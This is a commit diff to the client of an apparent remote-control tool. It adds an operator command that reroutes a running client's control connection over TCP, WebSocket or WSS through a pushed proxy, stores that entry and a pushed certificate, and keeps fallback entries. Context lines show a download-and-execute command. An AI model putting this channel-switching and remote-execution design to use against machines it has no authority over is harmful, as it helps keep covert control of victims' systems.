Feature: Let the operator switch a live client's transport from the online list

This commit is contained in:
yuanyuanxiang committed 2026-10-30 17:22:36 +01:00
1 parent cc891e3670
commit 99db28e2e2
12 files changed
+466 -2

No files matched your search

+76
View File
@@ -904,6 +904,82 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_SET_PROTO: {
// 协议切换(TCP / WS / WSS):把目标入口写进本机配置后断开本连接,重连循环
// (ClientDll.cpp 的 ApplyProtoSwitch)按新入口重连。入口覆盖要落盘,否则在线
// 升级换 DLL 后会被外壳注入的 protoType 按回 TCP。
//
// 载荷:[ProtoSwitchPacket][certLen 字节 PEM];host/port 都为空 = 还原到固定
// 直连入口(客户端记着安装时的 base 入口)。WSS 可附带信任锚(反代证书),先
// 落盘并重建 TLS 上下文,但这里不主动断开——断开统一放在末尾,避免丢后续包。
// 分享实例的连接入口由分享方控制,主控的协议切换对它无效——直接忽略,
// 避免白白断开一次再按注入配置连回来。
if (m_ClientApp && m_ClientApp->IsShared()) {
Mprintf("[proto-switch] ignored: shared instance follows the sharing host's entry\n");
break;
}
if (ulLength < 1 + sizeof(ProtoSwitchPacket)) {
Mprintf("[proto-switch] payload too short (%u), ignored\n", ulLength);
break;
}
ProtoSwitchPacket p = {};
memcpy(&p, szBuffer + 1, sizeof(p));
p.host[sizeof(p.host) - 1] = '\0';
p.port[sizeof(p.port) - 1] = '\0';
const int proto = p.proto;
if (proto != PROTO_TCP && proto != PROTO_WS && proto != PROTO_WSS) {
Mprintf("[proto-switch] unsupported proto %d, ignored\n", proto);
break;
}
const std::string host(p.host);
const int port = atoi(p.port);
const bool restore = (proto == PROTO_TCP && host.empty());
if (!restore && (host.empty() || port <= 0)) {
Mprintf("[proto-switch] missing proxy entry for proto %d, ignored\n", proto);
break;
}
// 随包下发的信任锚(WSS):写入后热重载,让下一次连接能校验反代证书。
const uint32_t maxCert = (uint32_t)(ulLength - 1 - sizeof(ProtoSwitchPacket));
uint32_t certLen = p.certLen < maxCert ? p.certLen : maxCert;
if (certLen > 0) {
std::string certPem((const char*)szBuffer + 1 + sizeof(ProtoSwitchPacket), certLen);
m_cfg->SetStr("settings", "tls_cert", certPem);
std::string err;
if (!TlsReload(err))
Mprintf("[proto-switch] trust anchor reload failed: %s\n", err.c_str());
}
if (restore) {
m_cfg->SetStr("settings", "proto_override", "");
m_cfg->SetStr("settings", "entry_host", "");
m_cfg->SetStr("settings", "entry_port", "");
m_cfg->SetStr("settings", "entry_try_at", "0");
Mprintf("[proto-switch] restore request, reconnecting to the direct entry\n");
} else {
// 首次切换记下安装时的直连入口(「还原」用);每次切换记下当前入口(自动回退用)
if (m_cfg->GetStr("settings", "base_host").empty()) {
m_cfg->SetStr("settings", "base_host", m_conn->ServerIP());
m_cfg->SetStr("settings", "base_port", std::to_string(m_conn->ServerPort()));
m_cfg->SetStr("settings", "base_proto",
std::to_string((int)(unsigned char)m_conn->protoType));
}
m_cfg->SetStr("settings", "prev_host", m_conn->ServerIP());
m_cfg->SetStr("settings", "prev_port", std::to_string(m_conn->ServerPort()));
m_cfg->SetStr("settings", "prev_proto", std::to_string((int)(unsigned char)m_conn->protoType));
m_cfg->SetStr("settings", "proto_override", std::to_string(proto));
m_cfg->SetStr("settings", "entry_host", host);
m_cfg->SetStr("settings", "entry_port", std::to_string(port));
m_cfg->SetStr("settings", "entry_try_at", std::to_string((long long)time(0)));
Mprintf("[proto-switch] switching to proto %d via %s:%d, reconnecting\n",
proto, host.c_str(), port);
}
if (m_ClientObject)
m_ClientObject->Disconnect();
break;
}
case COMMAND_DOWN_EXEC: {
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
break;